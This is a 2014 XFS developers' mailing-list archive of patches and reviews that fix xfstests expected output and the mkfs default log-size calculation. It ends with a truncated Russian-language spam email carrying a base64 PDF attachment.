-------------------------------------------------- From: Dave Chinner This test never passed, so the golden output was never properly verified as correct. Now that the bug is fixed, fix the golden output to match the actual test output. Signed-off-by: Dave Chinner --- tests/xfs/296.out | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/xfs/296.out b/tests/xfs/296.out index 1fb1b69..c279465 100644 --- a/tests/xfs/296.out +++ b/tests/xfs/296.out @@ -50,6 +50,7 @@ Checking for xattr on restored file user.name Checking for capability on restored file -RESTORE_DIR/DUMP_SUBDIR/testfile cap_setgid,cap_setuid+ep +RESTORE_DIR/DUMP_SUBDIR/testfile = cap_setgid,cap_setuid+ep # file: RESTORE_DIR/DUMP_SUBDIR/testfile security.capability + -- 1.8.4.rc3 From dave@fromorbit.com Tue Feb 4 20:52:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C35617F51 for ; Tue, 4 Feb 2014 20:52:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4ED25AC003 for ; Tue, 4 Feb 2014 18:52:04 -0800 (PST) X-ASG-Debug-ID: 1391568718-04cbb00c2a127d20001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dsce5xxWo9GQPw3O for ; Tue, 04 Feb 2014 18:51:59 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGACCm8VJ5LGaB/2dsb2JhbABZgwzAOxd0giUBXDsYagM0iASdd7BXjxKEIgSqTINBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 13:21:58 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAsah-0003tA-Ax for xfs@oss.sgi.com; Wed, 05 Feb 2014 13:51:55 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAsah-0007C3-9u for xfs@oss.sgi.com; Wed, 05 Feb 2014 13:51:55 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/066: stat the test file, not the directory Date: Wed, 5 Feb 2014 13:51:55 +1100 X-ASG-Orig-Subj: [PATCH] xfs/066: stat the test file, not the directory Message-Id: <1391568715-27617-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391568718 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Ever since commit 7e2a19504 ("ls -l reports different file size depending on platform and user.") xfs/066 has been running stat on the dump/restore directory instead of the large file that the test is checking can be dumped and restored correctly. IOWs, it's not been checking the correct thing for almost 10 years. This test fails on CRC enabled filesystems because the shortform directory entry size is different (an extra byte for the filetype filed), and this is where tracking down the failure has lead me. Fix this by using the correct target file, and improve it by dumping an md5sum of the source and target files to ensure they contain the same data. Signed-off-by: Dave Chinner --- tests/xfs/066 | 6 ++++-- tests/xfs/066.out | 6 ++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/tests/xfs/066 b/tests/xfs/066 index d521ada..db29249 100755 --- a/tests/xfs/066 +++ b/tests/xfs/066 @@ -60,11 +60,13 @@ fi _create_dumpdir_largefile echo "ls dumpdir/largefile" -stat $dump_dir | _my_stat_filter +stat $dump_dir/largefile | _my_stat_filter +md5sum $dump_dir/largefile |_filter_scratch _do_dump_file _do_restore_file echo "ls restoredir/largefile" -stat $restore_dir/$dump_sdir | _my_stat_filter +stat $restore_dir/$dump_sdir/largefile | _my_stat_filter +md5sum $restore_dir/$dump_sdir/largefile |_filter_scratch # success, all done status=0 diff --git a/tests/xfs/066.out b/tests/xfs/066.out index f84a0b8..0e85143 100644 --- a/tests/xfs/066.out +++ b/tests/xfs/066.out @@ -3,7 +3,8 @@ dd a largefile at offset 4294967297 10+0 records in 10+0 records out ls dumpdir/largefile -22 largefile +4294967307 largefile +e2664609cb95c2215732cf4e71e45017 SCRATCH_MNT/dumpdir/largefile Dumping to file... xfsdump -f DUMP_FILE -M stress_tape_media -L stress_066 SCRATCH_MNT xfsdump: using file dump (drive_simple) strategy @@ -37,4 +38,5 @@ xfsrestore: restoring non-directory files xfsrestore: restore complete: SECS seconds elapsed xfsrestore: Restore Status: SUCCESS ls restoredir/largefile -22 largefile +4294967307 largefile +e2664609cb95c2215732cf4e71e45017 SCRATCH_MNT/restoredir/dumpdir/largefile -- 1.8.4.rc3 From sandeen@sandeen.net Tue Feb 4 21:14:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 36BE87F51 for ; Tue, 4 Feb 2014 21:14:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 99C96AC002 for ; Tue, 4 Feb 2014 19:14:43 -0800 (PST) X-ASG-Debug-ID: 1391570081-04cbb00c2a129330001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id MnBASZiGAa8xKKnF for ; Tue, 04 Feb 2014 19:14:41 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C092261B487D; Tue, 4 Feb 2014 21:14:40 -0600 (CST) Message-ID: <52F1ACA0.30702@sandeen.net> Date: Tue, 04 Feb 2014 21:14:40 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs/296: fix golden output References: <1391565192-26213-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs/296: fix golden output In-Reply-To: <1391565192-26213-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391570081 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/4/14, 7:53 PM, Dave Chinner wrote: > From: Dave Chinner > > This test never passed, so the golden output was never properly > verified as correct. Now that the bug is fixed, fix the golden > output to match the actual test output. > > Signed-off-by: Dave Chinner > --- > tests/xfs/296.out | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/tests/xfs/296.out b/tests/xfs/296.out > index 1fb1b69..c279465 100644 > --- a/tests/xfs/296.out > +++ b/tests/xfs/296.out > @@ -50,6 +50,7 @@ Checking for xattr on restored file > user.name > > Checking for capability on restored file > -RESTORE_DIR/DUMP_SUBDIR/testfile cap_setgid,cap_setuid+ep > +RESTORE_DIR/DUMP_SUBDIR/testfile = cap_setgid,cap_setuid+ep > # file: RESTORE_DIR/DUMP_SUBDIR/testfile > security.capability > + > Hm, thanks. I guess I just made it up the first time. ;) Reviewed-by: Eric Sandeen From sandeen@sandeen.net Tue Feb 4 22:02:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 693357F51 for ; Tue, 4 Feb 2014 22:02:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16471AC002 for ; Tue, 4 Feb 2014 20:02:49 -0800 (PST) X-ASG-Debug-ID: 1391572965-04bdf0122013fbb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id v6dPKiEHykbDgk14 for ; Tue, 04 Feb 2014 20:02:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0DB6B61B487D; Tue, 4 Feb 2014 22:02:45 -0600 (CST) Message-ID: <52F1B7E4.8050400@sandeen.net> Date: Tue, 04 Feb 2014 22:02:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs/066: stat the test file, not the directory References: <1391568715-27617-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs/066: stat the test file, not the directory In-Reply-To: <1391568715-27617-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391572965 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144851 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/4/14, 8:51 PM, Dave Chinner wrote: > From: Dave Chinner > > Ever since commit 7e2a19504 ("ls -l reports different file size > depending on platform and user.") xfs/066 has been running stat on > the dump/restore directory instead of the large file that the test > is checking can be dumped and restored correctly. IOWs, it's not > been checking the correct thing for almost 10 years. heh: -ls -l $restore_dir/$dump_sdir | _my_ls_filter +stat $restore_dir/$dump_sdir | _my_stat_filter cripes! > This test fails on CRC enabled filesystems because the shortform > directory entry size is different (an extra byte for the filetype > filed), and this is where tracking down the failure has lead me. > > Fix this by using the correct target file, and improve it by dumping > an md5sum of the source and target files to ensure they contain the > same data. > > Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen > --- > tests/xfs/066 | 6 ++++-- > tests/xfs/066.out | 6 ++++-- > 2 files changed, 8 insertions(+), 4 deletions(-) > > diff --git a/tests/xfs/066 b/tests/xfs/066 > index d521ada..db29249 100755 > --- a/tests/xfs/066 > +++ b/tests/xfs/066 > @@ -60,11 +60,13 @@ fi > > _create_dumpdir_largefile > echo "ls dumpdir/largefile" > -stat $dump_dir | _my_stat_filter > +stat $dump_dir/largefile | _my_stat_filter > +md5sum $dump_dir/largefile |_filter_scratch > _do_dump_file > _do_restore_file > echo "ls restoredir/largefile" > -stat $restore_dir/$dump_sdir | _my_stat_filter > +stat $restore_dir/$dump_sdir/largefile | _my_stat_filter > +md5sum $restore_dir/$dump_sdir/largefile |_filter_scratch > > # success, all done > status=0 > diff --git a/tests/xfs/066.out b/tests/xfs/066.out > index f84a0b8..0e85143 100644 > --- a/tests/xfs/066.out > +++ b/tests/xfs/066.out > @@ -3,7 +3,8 @@ dd a largefile at offset 4294967297 > 10+0 records in > 10+0 records out > ls dumpdir/largefile > -22 largefile > +4294967307 largefile > +e2664609cb95c2215732cf4e71e45017 SCRATCH_MNT/dumpdir/largefile > Dumping to file... > xfsdump -f DUMP_FILE -M stress_tape_media -L stress_066 SCRATCH_MNT > xfsdump: using file dump (drive_simple) strategy > @@ -37,4 +38,5 @@ xfsrestore: restoring non-directory files > xfsrestore: restore complete: SECS seconds elapsed > xfsrestore: Restore Status: SUCCESS > ls restoredir/largefile > -22 largefile > +4294967307 largefile > +e2664609cb95c2215732cf4e71e45017 SCRATCH_MNT/restoredir/dumpdir/largefile > From dave@fromorbit.com Tue Feb 4 23:47:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C84D67F51 for ; Tue, 4 Feb 2014 23:47:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 719F2AC002 for ; Tue, 4 Feb 2014 21:47:29 -0800 (PST) X-ASG-Debug-ID: 1391579247-04bdf0121e144800001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 3YEjCjRjaF0I8Xv1 for ; Tue, 04 Feb 2014 21:47:27 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAHTP8VJ5LGaB/2dsb2JhbABZgwzAZRd0giUBXDsYagM0iASdf7BYjxKEIgSqTINBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 16:17:27 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAvKT-0004AJ-Pn for xfs@oss.sgi.com; Wed, 05 Feb 2014 16:47:21 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAvKT-000056-OX for xfs@oss.sgi.com; Wed, 05 Feb 2014 16:47:21 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] mkfs: default log size for small filesystems too large Date: Wed, 5 Feb 2014 16:47:21 +1100 X-ASG-Orig-Subj: [PATCH] mkfs: default log size for small filesystems too large Message-Id: <1391579241-32747-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391579247 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144853 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Recent changes to the log size scaling have resulted in using the default size multiplier for the log size even on small filesystems. Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation of the maximum transaction size that the kernel would issues and that significantly increased the minimum size of the default log. As such the size of the log on small filesystems was typically larger than the prefious default, even though the previous default was still larger than the minimum needed. Rework the default log size calculation such that it will use the original log size default if it is larger than the minimum log size required, and only use a larger log if the configuration of the filesystem requires it. This is especially obvious in xfs/216, where the default log size is 10MB all the way up to 16GB filesystems. The current mkfs selects a log size of 50MB for the same size filesystems and this is unnecessarily large. Return the scaling of the log size for small filesystems to something similar to what xfs/216 expects. Signed-off-by: Dave Chinner --- mkfs/xfs_mkfs.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index d82128c..4a29eea 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2377,17 +2377,18 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), logblocks = MAX(min_logblocks, logblocks); /* - * If the default log size doesn't fit in the AG size, use the - * minimum log size instead. This ensures small filesystems - * don't use excessive amounts of space for the log. + * For small filesystems, we want to use the XFS_MIN_LOG_BYTES + * for filesystems smaller than 16G if at all possible, ramping + * up to 128MB at 256GB. */ - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { - logblocks = min_logblocks; - } else { - logblocks = MAX(logblocks, - MAX(XFS_DFL_LOG_SIZE, - min_logblocks * XFS_DFL_LOG_FACTOR)); + if (dblocks < GIGABYTES(16, blocklog)) { + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, + min_logblocks * XFS_DFL_LOG_FACTOR); } + + if (logblocks >= agsize) + logblocks = min_logblocks; + logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { logblocks = XFS_MAX_LOG_BYTES >> blocklog; -- 1.8.4.rc3 From dave@fromorbit.com Wed Feb 5 00:40:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9D7E27F53 for ; Wed, 5 Feb 2014 00:40:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 556948F8037 for ; Tue, 4 Feb 2014 22:40:41 -0800 (PST) X-ASG-Debug-ID: 1391582435-04bdf01220145e60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id poioyLlHZgdFinPF for ; Tue, 04 Feb 2014 22:40:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAFbc8VJ5LGaB/2dsb2JhbABZgwzAYhd0giUBXDsYagM0iASeALBZjh4KhQwEqkyDQSiBLQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 17:10:34 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAw9v-0004FK-O1 for xfs@oss.sgi.com; Wed, 05 Feb 2014 17:40:31 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAw9v-0000mV-Mm for xfs@oss.sgi.com; Wed, 05 Feb 2014 17:40:31 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/299: users can't modify root owned files Date: Wed, 5 Feb 2014 17:40:31 +1100 X-ASG-Orig-Subj: [PATCH] xfs/299: users can't modify root owned files Message-Id: <1391582431-2970-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391582435 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs/299 has failed for me for a long time. In fact, looking at my logs it has never passed on any of my test machines. IOWs, the test that was committed was fundamentally broken. The reason is that it tests project quotas before it tests user or group quotas and so creates a bunch of files that are owned by root or privileged users. It think tries to manipulate them as a user, and, unsurprisingly, it fails to do so. This then causes the test to throw an error. The reason it has always failed is the error that is thrown hardcodes a uid/gid into an error message. This uid/gid is what causes the golden output mismatch (nobody is 65534 on my machines, not 99): *** push past the hard block limit (expect EDQUOT) [ROOT] 0 0 0 00 [--------] 12 0 0 00 [--------] 0 0 0 00 [--------] [NAME] =OK= 100 500 00 [--------] 7 4 10 00 [7 days] 0 0 0 00 [--------] - URK 99: 0 is out of range! [425,500] + URK 65534: 0 is out of range! [425,500] It wasn't until I looked at the xfs/299.full file when trying to understand why the error was being thrown and whether it shoul dhave been in the golden output in the first place that I saw the real problem. That is, All the user/group quota modifications were failing because of not having permissions to write the files left behind by the quota test, and that user and group quotas were not being tested at all by the test. So, firstly $SCRATCH_MNT needs to be world writeable, and secondly each test needs to remove the files it created during the test so they don't impact on furture test iterations. This then exercises the user and group quotas appropriately, and so the golden output changes completely to reflect that changes under user quotas are actually being accounted to the correct user. Further, the error message that I originally saw errors on goes away, because everything is now accounted correctly. Signed-off-by: Dave Chinner --- tests/xfs/299 | 6 ++++ tests/xfs/299.out | 96 +++++++++++++++++++++++++------------------------------ 2 files changed, 50 insertions(+), 52 deletions(-) diff --git a/tests/xfs/299 b/tests/xfs/299 index e374131..d190974 100755 --- a/tests/xfs/299 +++ b/tests/xfs/299 @@ -193,6 +193,9 @@ _exercise() echo + # clean up our files so we don't pollute the next run + rm -f $SCRATCH_MNT/* + } _scratch_mkfs_xfs -m crc=1 2>/dev/null | _filter_mkfs 2>$tmp.mkfs @@ -200,6 +203,9 @@ cat $tmp.mkfs >>$seqres.full # keep the blocksize and data size for dd later . $tmp.mkfs +# non-root users need to be able to write to this filesystem +chmod 777 $SCRATCH_MNT + cat >$tmp.projects < X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9FC517F51 for ; Wed, 5 Feb 2014 00:50:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 715C1304090 for ; Tue, 4 Feb 2014 22:50:17 -0800 (PST) X-ASG-Debug-ID: 1391583013-04cb6c6de3138dc0001-NocioJ Received: from kiel.ru (kiel.ru [212.75.217.2]) by cuda.sgi.com with ESMTP id Zopy7ATyJsEVNDDF for ; Tue, 04 Feb 2014 22:50:14 -0800 (PST) X-Barracuda-Envelope-From: anna-belova08@exploit.net X-Barracuda-Apparent-Source-IP: 212.75.217.2 Received: from Unknown (unknown [86.111.144.194]) by kiel.ru (Postfix) with ESMTPA id 3C956960DF8; Wed, 5 Feb 2014 13:50:15 +0700 (KRAT) Message-ID: <06EA1647A05B47E8AD98C3C25BC1D854@uwlrkh> Reply-To: =?windows-1251?B?weXn7u/g8e3u8fL8IOHo5+3l8eA=?= From: =?windows-1251?B?weXn7u/g8e3u8fL8IOHo5+3l8eA=?= To: , , , Subject: =?windows-1251?B?yu7t6vPw5e3y7fvpIPHo8fLl7O376SDs7u3o?= =?windows-1251?B?8u7w6O3jIOgg5OXr7uLg/yDw4Ofi5eTq4A==?= Date: Wed, 5 Feb 2014 07:50:40 +0100 X-ASG-Orig-Subj: =?windows-1251?B?yu7t6vPw5e3y7fvpIPHo8fLl7O376SDs7u3o?= =?windows-1251?B?8u7w6O3jIOgg5OXr7uLg/yDw4Ofi5eTq4A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0C3F_01CF2246.F716DEC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: kiel.ru[212.75.217.2] X-Barracuda-Start-Time: 1391583014 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0C3F_01CF2246.F716DEC0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0C40_01CF2246.F716DEC0" ------=_NextPart_001_0C40_01CF2246.F716DEC0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EF=F0=EE=EC=FB=F8=EB=E5=ED= =ED=EE=EC=F3 =F8=EF=E8=EE=ED=E0=E6=F3 ------=_NextPart_001_0C40_01CF2246.F716DEC0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EF=F0=EE=EC=FB=F8=EB=E5= =ED=ED=EE=EC=F3 =F8=EF=E8=EE=ED=E0=E6=F3
------=_NextPart_001_0C40_01CF2246.F716DEC0-- ------=_NextPart_000_0C3F_01CF2246.F716DEC0 Content-Type: application/octet-stream; name="=?windows-1251?B?z/Du8uji7uTl6fHy4ujlIO/w7uz7+Ovl7e3u?= =?windows-1251?B?7PMg+O/o7u3g5vMucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?z/Du8uji7uTl6fHy4ujlIO/w7uz7+Ovl7e3u?= =?windows-1251?B?7PMg+O/o7u3g5vMucGRm?=" JVBERi0xLjUKJeLjz9MKNiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDEKICAgL1dpZHRoIDgyNwogICAvSGVpZ2h0IDEx NjkKICAgL0NvbG9yU3BhY2UgWy9JbmRleGVkIC9EZXZpY2VSR0IgMSA3IDAgUiBdCiAgIC9GaWx0 ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMjAwNjkKPj4Kc3RyZWFtCnhe7b0PdBvXfecLGqqg 7mMIqe420ArhSFFPdLLrE5GGawLRiOPGaZ284yfte7v7+nxeuxJDm1i/TS3SyIqESXEoyyXlY5po qqxDmDAmjV/jbdKN6rCvlkyJAwoyYVUQJl1362gtEaAgYyyLJgCNLQDEYO67d/CHGGAGGICkvU3w PRIwM/cOPvzN/c29vztz5w4An4oWq2VYJzU49anBqU8NTn1qcOpTg1OfGpz61ODUpwanPjU49anB qU8NTn36FeLYWeW0mqXMEboSimm1S5mT7BtTTKtdyhz+FqOYVrsq2HNYp5hWu5Q5K/doFdNqVwV7 NE1AIBWTa5QSJwWSJ58HSYXU2qXEiYEYtCdGKiTXLGVOaOcuIqaQWrsUOQ6PRkP+qUJq7VLi8OCD lACiCqm1S5GzL2SPgd9VSK1dShxh35177gHrV5MqcbiVrZqmP1lSSK1dChwhnTx58vnnhdvyybVL gZMByRFN0zaQlk+uXYqc2E4o+L1OUuQshkBsiNxoDmCuwo/M7HmF5JqlwOEffpIkyWPnLPLJtUvJ 